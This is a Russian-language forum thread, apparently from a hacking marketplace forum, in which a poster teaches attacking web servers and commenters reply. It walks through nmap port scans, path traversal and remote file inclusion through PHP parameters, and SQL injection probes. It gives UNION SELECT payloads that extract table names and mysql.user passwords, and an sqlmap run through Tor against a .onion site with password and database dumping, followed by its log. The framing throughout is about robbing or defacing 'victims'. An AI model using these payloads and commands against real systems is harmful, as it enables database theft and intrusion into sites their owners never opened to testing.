Веб-сервер глазами хакера(навеяно одноимённой книгой Михаила Фленова).

El Jefe

Consejero
Проверенный сервис
Силовые акции
Сообщения
3.376
Реакции
8.466
Продажи
7
Кешбек
0.66$
Лазить по корпоративным сетям, оно конечно, дело пользительное, спору нет. Но главной приманкой, главным “сладким х.ем” кулхацкера, ясен пень, является веб-сервер, на коем и зиждется современная сеть. Не пытаясь в формате обзорной статьи объять необъятное, постараемся осветить основные связанные с этим моменты.

Вот, скажем, заинтересовал кулхацкера некий сервер – что будет делать наш проныра? Для начала попытается установить, какие службы и сервисы(демоны) на нём имеют место быть, а для этого используют сканерок, к примеру, линуксовый nmap. Ведь если в бетонной стене нет никаких окон и лазов, какой от неё толк?

Устанавливаем IP сервера путём пинга:

Код:
ping www.sweetsimpleton.com

(По русски – “Сладкий Лох”)

Получаем ответ, что-то вроде:

Код:
PING www.sweetsimpleton.com (208.91.197.27) 56(84) bytes of data.

64 bytes from 208.91.197.27: icmp_seq=1 ttl=236 time=199 ms

64 bytes from 208.91.197.27: icmp_seq=2 ttl=236 time=199 ms

64 bytes from 208.91.197.27: icmp_seq=3 ttl=236 time=190 ms

64 bytes from 208.91.197.27: icmp_seq=4 ttl=236 time=190 ms

64 bytes from 208.91.197.27: icmp_seq=5 ttl=236 time=196 ms

64 bytes from 208.91.197.27: icmp_seq=6 ttl=236 time=192 ms

--- www.sweetsimpleton.com ping statistics ---

6 packets transmitted, 6 received, 0% packet loss, time 14214ms

rtt min/avg/max/mdev = 189.682/194.267/199.064/3.892 ms

И теперь командуем:

Код:
sudo nmap -sS -p1-65535 -v 208.91.197.27

И получаем результат, что-то вроде:

Код:
Scanning 208.91.197.27 [65535 ports]

Discovered open port 53/tcp on 208.91.197.27

Discovered open port 80/tcp on 208.91.197.27

Discovered open port 443/tcp on 208.91.197.27

И так далее. То, что мы видим, это порты DNS, HTTP и SSL/HTTPS соответственно. Бывают ещё разные службы и сервисы, telnet, ssh, rlogin, finger и прочие, необходимые для работы в сети. И всё это кулхацкер может использовать в своих целях при наличии уязвимостей(вулнерабилитиз) в программном обеспечении(серверах, демонах) и ошибок в их настройке косорукими админами.

Как правило, в первую очередь атаке подвергается HTTP-сервер с целью стянуть/модифицировать лежащие на нём какие-либо базы данных и извлечь профит из них либо просто совершить дефейс, т.е разместить на сайте жертвы палестинский флаг, голую задницу или что-то в этом роде оскорбительное, как если бы крадун, обнеся дом, оставил кучу говна в гостиной:) Если сайт состоит из простых html-страниц, сделать ему что-то тяжело, но если на нём осуществляется PHP-сценарий и имеются некие данные, которые можно вводить в базу данных(SQL) методами GET и POST, это даёт шанс просунуть своё жало :)

Вкратце об этих методах. Как уже было сказано, методы эти используются протоколом http для отправки данных на сервер с целью сделать сайт более интерактивным и для взаимодействия с посетителем. При этом данные попадают в массивы $_GET и $_POST при работе сайта на языке PHP; переданный на сервер параметр с именем "parameter", будет доступен как $_GET['parameter'] или $_POST['parameter']. Запрос GET передает данные в URL в виде пар имя-значение, т.е. через ссылку, а запрос POST передает данные в теле запроса через форму запроса, имеющуюся в страничке.

Параметры, которые получают сценарии, очень часто являются потенциальным источником ошибки. Кулхацкер может сформировать определенным хитрым образом запрос и если сценарий неверно обрабатывает полученные параметры или просто не проверяет их на корректность, то злоумышленник может повысить свои привилегии, управлять базой данных сервера и даже выполнять в командной строке различные команды. К примеру, URL сайта “Сладкий Лох” имеет вид:



А мы хитрожопим и пишем в запросе:

=.

Сиречь указываем системную папку UNIX и файл “какой угодно”. И вдруг, откуда ни возьмись, на ширмачка видим содержимое директории /etc, поскольку наивный админ забыл в PHP-сценарии отфильтровать слэш и одиночную точку. А написав:



получаем список пользователей системы, указание установленной операционной системы и учётную запись админа. Кстати, имена параметров типа dir, file и тому подобные манят кулхацкера, как кота валерьянка, поэтому админам их рекомендуется избегать.

Можно также создать на своем Web-сервере злонамеренный файл именем hack к примеру

c расширением php, например, и передать этот файл в качестве параметра:



Теперь ваш сценарий выполнит содержимое файла , если файл в сценарии подключается с помощью функции include () или require().

Теперь остановимся на такой манипуляции с базой данных Сладкого Лоха, как SQL-инъекция. В чём её идея? На одном из форумов красноглазиков я нашёл такую забавную притчу-интерпретацию.

Отец семейства, простой работяга, отправляясь на работу, написал в записке домохозяйке-матушке, чтобы она выдала сыну Васе 100 рублей на покупки, что то вроде:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе
Поскольку малограмотный отец коряво написал записку и наивно оставил её на столе, её увидел брат Васи — пьющий лоботряс Петя. Не будь дурак, Петя дописал там «ИЛИ Пете» и получился такой запрос:
ДОСТАНЬ ИЗ кошелька 100 РУБЛЕЙ И ДАЙ ИХ Васе ИЛИ Пете
Матушка, прочитав записку, решила, что Васе она давала деньги вчера, и дала 100 рублей бездельнику алкашу Пете. Вот простой пример SQL-инъекции из жизни: приписав свои слова и фальсифицировав аутентичную записку, написанную при этом плохим почерком, Петя выцыганил себе денежек на пузырь.

В соответствии с этим принципом, при проверке сайта жертвы на инжектируемость следует передавать во всех параметрах различный мусор, среди которого особую роль играет “магическая” одинарная кавычка, попросту знак ‘ и смотреть, что ответит сайт, например:



либо

’&product=9

Если при попытки зайти на такие страницы появляется ошибка, сайт уязвим к инъекциям и параметр инжектируемый, поскольку кавычку не отэкранировало! (Для экранирования символов админы используют в сценариях, например, функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем \ перед каждым специальным символом; также в SQL-выражениях используют функции mysql_escape_string($str); и mysql_real_escape_string($str);)

Также можно попробовать запросы наподобие



либо

&product=9%20and%201=1

Здесь %20 означает пробел по таблице ANSII

1=0 это означает FALSE естественно, а 1=1 TRUE, а такая проверка называется BOOLEAN BASED.

Тоже смотрим, покажет страницу или не покажет. Если при 1=0 не покажет, а при 1=1 покажет, то параметр инжектируем. Также наряду с AND можно использовать OR(логическое сложение).

Теперь о том, как извлечь пользу из этого. В зависимости от того, какая информация нам нужна, дописываем к запросу что-то вроде(+ тоже интерпретируется как пробел):

Код:
?id=1+union+select+0,concat_ws(0x3a,table_name,column_name)+from+information_schema.columns

или

Код:
%20union%20select%20mysql.user.password,USER(),VERSION(),4444%20from%20mysql.user/*

И получаем требуемую информацию из таблиц в виде

Код:
0 | table1:column1 || 0 | table1:column2 |

Оператор UNION объединяет запросы, SELECT служит для выбора информации из БД.

Инъекции бывают ERROR BASED, BOOLEAN BASED, TIME BASED, UNION QUERY BASED, STACKED QUERY BASED.

Самое главное – найти потенциальную инъекцию с помощью внедрённого в запрос “мусора”, а потом с помощью правильно составленного нового запроса вытащить информацию в виде таблицы из базы данных.

Автоматизировать эту работу позволяют разнообразные сканеры инъекций, одним из них является sqlmap, работающий к тому же в одном из режимов через ТОР.

Пример(командная строка Линукс):

Код:
sqlmap -u "http://*************************7njhwuahc2l67lfiz7z36md2jvopda7nchid.onion/cgi?catalog=5&region_id=6" -data="catalog=5" --tor --check-tor --tor-port=9050 --tor-type=SOCKS5 --current-user --passwords --dbs --dbms=Oracle --tables -f --risk=3 –level=5

И программа начинает нудно дрючить сайт-жертву всеми возможными способами инъекций, в попытке прокнокать-прознать что-то путное. Додрючивать потом всё равно прийдётся руками, все эти сканеры хороши именно для разведки.

А на выходе мы видим нечто подобное, если будет инжектируемый параметр найден-таки, его подсветит изумрудно-зелёненьким!

Код:
___

 __H__

 ___ ___[(]_____ ___ ___ {1.4.4#stable}

|_ -| . [)] | .'| . |

|___|_ ["]_|_|_|__,| _|

 |_|V... |_| http://sqlmap.org




[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program




[*] starting @ 15:56:11 /2021-09-26/




[15:56:11] [WARNING] increasing default value for option '--time-sec' to 10 because switch '--tor' was provided

[15:56:11] [INFO] setting Tor SOCKS proxy settings

[15:56:11] [INFO] checking Tor connection

[15:56:14] [INFO] Tor is properly being used

[15:56:15] [INFO] testing connection to the target URL

[15:56:18] [WARNING] the web server responded with an HTTP error code (403) which could interfere with the results of the tests

[15:56:18] [INFO] testing if the target URL content is stable

[15:56:19] [INFO] target URL content is stable

[15:56:19] [INFO] testing if POST parameter 'catalog' is dynamic

[15:56:19] [WARNING] POST parameter 'catalog' does not appear to be dynamic

[15:56:20] [WARNING] heuristic (basic) test shows that POST parameter 'catalog' might not be injectable

[15:56:21] [INFO] testing for SQL injection on POST parameter 'catalog'

[15:56:21] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'

[15:56:50] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'

[15:57:34] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'

[15:58:02] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (subquery - comment)'

[15:58:23] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (subquery - comment)'

[15:58:51] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (comment)'

[15:58:56] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (comment)'

[15:59:03] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - comment)'

[15:59:08] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'

[15:59:08] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL)'

[15:59:09] [INFO] testing 'Boolean-based blind - Parameter replace (DUAL - original value)'

[15:59:09] [INFO] testing 'Boolean-based blind - Parameter replace (CASE)'

[15:59:09] [INFO] testing 'Boolean-based blind - Parameter replace (CASE - original value)'

[15:59:09] [INFO] testing 'HAVING boolean-based blind - WHERE, GROUP BY clause'

[15:59:30] [INFO] testing 'Generic inline queries'

[15:59:31] [INFO] testing 'Oracle AND boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'

[15:59:54] [INFO] testing 'Oracle OR boolean-based blind - WHERE or HAVING clause (CTXSYS.DRITHSX.SN)'

[16:00:49] [INFO] testing 'Oracle boolean-based blind - Parameter replace'

[16:00:50] [INFO] testing 'Oracle boolean-based blind - Parameter replace (original value)'

[16:00:50] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause'

[16:00:51] [INFO] testing 'Oracle boolean-based blind - ORDER BY, GROUP BY clause (original value)'

[16:00:51] [INFO] testing 'Oracle boolean-based blind - Stacked queries'

[16:01:04] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'

[16:01:33] [INFO] testing 'Oracle OR error-based - WHERE or HAVING clause (XMLType)'

[16:01:57] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (UTL_INADDR.GET_HOST_ADDRESS)'
 
Последнее редактирование:
Эль Джафе - ничестно так савсема, я уж думал пароей отсыпят сейчас...

1632683798000.png
 
Годно. ТС - красавчик :)
 
Мне нравится статья за счет популяризации знания. Для широкой аудитории хорошо подойдет.
Но на серьезную тему не тянет, так как подобные "взломы" прокатят разве что на совсем незамысловатых веб приложениях.
Пингом не факт что узнаешь ip сервера, может быть прокси/роутер/что-то еще. А по какому правилу он назначается, гадай сам.
Левые порты в нормальных системах закрыты. Открытые правильно настроены. И какой-нибудь нормально настроенный iptables/fail2ban/прочее просто не дадут стучаться везде подряд сколько угодно раз.
SQL инъекции это детсад уровень. Намного чаще встречаются XSS. Особенно интересны reflected xss если ресурс популярный.
Темы типа даже комментировать не хочется. Если встречу подобное, то скорее всего решу что это honeypot расчитанный на лохов.
 
Эль Джафе - ничестно так савсема, я уж думал пароей отсыпят сейчас...
Ёшкин-крот, я забыл предупредить, что сайта не существует, это мистификация, просто для примера, а пинговал я сайт и айпишник в статье яво! Дико извиняюсь! Первый тоже не содержит особой инфы, но хотя бы пингуется :)
SQL инъекции это детсад уровень. Намного чаще встречаются XSS. Особенно интересны reflected xss если ресурс популярный.
Темы типа даже комментировать не хочется. Если встречу подобное, то скорее всего решу что это honeypot расчитанный на лохов.
Я всё это написал, чтобы объяснить принцип работы инъекции, никакого Бентли с ключами там нет, даже Драбанта :-) Статья чисто обзорная, а не рассказ про взлом с ограблением реального банка или чего-то такого. За счёт SQL инъекции можно вскрыть многое, но не всё конечно, это как с замком и отмычкой, та же история. Метод эксплуатирует ошибки в сценариях косоруких вебмастеров и админов, коих в сети тьма.
 
Я всё это написал, чтобы объяснить принцип работы инъекции, никакого Бентли с ключами там нет, даже Драбанта :-) Статья чисто обзорная, а не рассказ про взлом с ограблением реального банка или чего-то такого. За счёт SQL инъекции можно вскрыть многое, но не всё конечно, это как с замком и отмычкой, та же история. Метод эксплуатирует ошибки в сценариях косоруких вебмастеров и админов, коих в сети тьма.

Да, понимаю, потому написал что я только за популяризацию знания. Но встретить sql инъекцию на сколь либо серьезном ресурсе очень маловероятно. Более того, в большинстве популярных cms из коробки все подобные дыры прикрыты. То есть чтобы они появились, надо еще постараться, специально накосячить поверх установки. Плагин левый поставить или криво кастомизировать...

Ну да! Я хорошо вожу! В багажнике че лежит?

Даже если ничего, вы уже можете попасть в неприятность просто по факту нажатия на педаль газа :)
Еще небольшой комент. Вы бы поаккуратнее переходили бы по неизвестным сайтам, особенно если просто тор с включенным javascript, тк айпишник реальный может и протечь. Я сначала вбиваю в гугл и если про сайт ничего не известно, это может быть приманка и лучше избегать. Далее см
Кстати на данном форуме всплывает автоматическое предложение javascript включить если отключен. Не делайте этого.
 
Но встретить sql инъекцию на сколь либо серьезном ресурсе очень маловероятно.
На всякого мудреца довольно простоты. Иногда дыры в настройке движка бывают даже у крупных банков.
Вы бы поаккуратнее переходили бы по неизвестным сайтам, особенно если просто тор с включенным javascript, тк айпишник реальный может и протечь.
В тор-броузере есть от этого защита, он не даст джава-скрипту запущенному в нём определить и слить реальный Ай-Пи.. Если только запустить какой-то файл склеенный с экзешником и скачанный из тора, тогда да.
 
Вы бы поаккуратнее переходили бы по неизвестным сайтам
Автор был слегка потролен и шутку понял, а вы уважаемый - нет. Что такое "горшочек меда" я и так знаю, это элементарно.
Реальный айпишник, который можно просечь, я могу и так сказать - 192.168.1.3, все жду DDoS атаку и сканы nmap'ом )
 
Уважаемый El Jefe я скоро по твоим статьям квалифицированным хакером стану :)
 
А я сразу в виде кода вывесил, а не в виде скрина. Бывает, изображения тут слетают куда-то, у меня такое было в треде про Распберри, я их потом перезаливал.
 
Автор был слегка потролен и шутку понял, а вы уважаемый - нет. Что такое "горшочек меда" я и так знаю, это элементарно.
Реальный айпишник, который можно просечь, я могу и так сказать - 192.168.1.3, все жду DDoS атаку и сканы nmap'ом )

Значит, я не понял, туп и мне еше расти. Что касается локального айпи, его не надо ддосить/сканить нмапом, а можно просто излучением из космоса прямо в память гадить... Если есть точные кординаты.
Хоть в диск хоть в регистры процессора лучи посылать, или что у вас там :D
Насчет honeypot, вариантов очень много разных, это не примитивная уловка отнюдь.
По поводу жаваскрипт, камрад El Jefe правильно написал, что дефолтный тор браузер защищен от утечки ip через fetch и ajax. Я этого с ходу не знал. Однако, с разрешенным жаваскрипт можно создавать цифровые отпечатки и слишком много всего узнать. В отдельный случаях может скачаться бяка, а также возможны операции с буфером обмена. Не знаю насколько тор браузер это предоствращает. Вообщем все зависит от масштаба личности которую хотят подцепить. Про уязвимости нулевого дня даже не заикаюсь.
В СНГ странах подобных примитивных "доказательств" будет достаточно, чтобы вы стали похожи на преступника. А далее технология отработана.
 
Вот бы на онлайн курсах так инфу давали,ну правда мапой как сканером помоему редко пользуются,но может это и субъективно.
По кобальт страйку бы статейку...
 
Это проприетарная программа для пентестинга, для тех, кто любит графические интерфейсы и не любит командную строку, работать ручками и думать головой, всяких государственных "хакеров" из фанни биаров и кози биаров. Кстати, крякнутые добрыми людьми исходники сего чуда есть на Гитхабе.
 
Ну не сказал бы на самом деле, её аудитория велика.
Да и в графическом интерфейсе нет ничего принципиально плохого,ну разве что может работать чуть медленнее.
Как пример у нмап и зенмап свои аудитории,но по сути программа одна и таже.
 

Похожие темы

Приветствуем, братья по клавиатуре. Сегодня разберем священную троицу веб-уязвимостей, которые кормят половину даркнета. Не теория — только выжимка тактик, которые работают прямо сейчас. 1. SQL Injection: ваша база — наша база Атака: Вбиваем в форму логина классику: ' OR 1=1--. Сервер глотает...
Ответы
5
Просмотры
  • Закрыта
Australia has and uses regularly a drug that prevents the formation of memories without affecting other mental facilities, this allows them to interrogate someone without them remembering it provided they’re sedated after interrogation, basically as long as the person falls asleep and wakes up...
Ответы
0
Просмотры
Назад
Сверху Снизу